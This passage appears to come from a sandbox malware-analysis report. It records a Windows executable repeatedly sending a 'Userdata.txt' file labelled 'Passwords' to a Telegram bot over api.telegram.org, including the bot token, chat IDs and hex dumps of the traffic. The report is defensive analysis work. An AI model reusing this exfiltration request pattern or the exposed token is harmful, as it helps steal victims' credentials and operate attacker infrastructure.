2025-01-10 18:57:02 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 32 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44621,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535422,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	50014	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:03 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32dc17249353 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:03 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 64 63 31 37 32 34 39 33 35 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32dc17249353Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:03 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:03 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 32 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44622,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535423,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	50016	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:05 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32ed42a59927 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:05 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 65 64 34 32 61 35 39 39 32 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32ed42a59927Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:05 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:05 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44623,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535425,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	50018	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:06 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32ffb2387d02 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:57:06 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 66 66 62 32 33 38 37 64 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32ffb2387d02Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:07 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:07 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 32 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44624,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535427,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	50020	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:08 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3312139f8085 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:57:08 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 31 32 31 33 39 66 38 30 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3312139f8085Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:09 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:09 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 32 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44625,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535429,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	50022	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:10 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd332704d874a7 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:57:10 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 32 37 30 34 64 38 37 34 61 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd332704d874a7Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:10 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:10 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 33 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44626,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535430,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	50024	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:12 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd333e80865cbd Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:57:12 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 33 65 38 30 38 36 35 63 62 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd333e80865cbdContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:12 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:12 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:12 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44627,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535432,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	50026	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:14 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33534ee742fc Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:57:14 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 35 33 34 65 65 37 34 32 66 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33534ee742fcContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:14 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:14 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 33 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44628,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535434,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	50028	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:15 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33695988c9e0 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
